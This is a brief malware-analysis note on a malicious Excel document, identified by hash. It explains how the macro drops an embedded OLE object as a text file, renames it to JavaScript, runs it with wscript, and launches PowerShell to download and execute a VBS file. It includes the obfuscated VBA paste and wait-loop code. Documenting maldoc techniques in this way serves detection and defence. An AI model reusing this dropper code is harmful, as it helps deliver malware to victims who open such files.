Copy OLE -> JS -> Powershell

copy-ole-maldoc.md

3acc0848c4fa44af2f91688375bc200a40a36b7d2c567166f59625f69bb65751 from #579

• copy an OLE Object and paste into Scripting.FolderItem, this will get a txt, rename it to js

    For Each Sh In Sheet1.OLEObjects
        If InStr(1, Sh.Name, "Object", 1) Then
            Sh.Copy
            ' this code paste Embedded Object to folder
            Set KjCQxE = GetObject("new:13709620-C279-11CE-A49E-444553540000")   ' Scripting.Shell
            KjCQxE.Namespace(iJcpw).Self.InvokeVerb "Paste"
        End If
    Next Sh

• wscript this js file, shell a powershell script which download a vbs and shell it
• loop via goto

     checking:
        If Dir(iJcpw + "\lRcKD.txt") = "" Then
            Application.Wait (Now + TimeValue("0:00:02"))
            GoTo checking:
        ...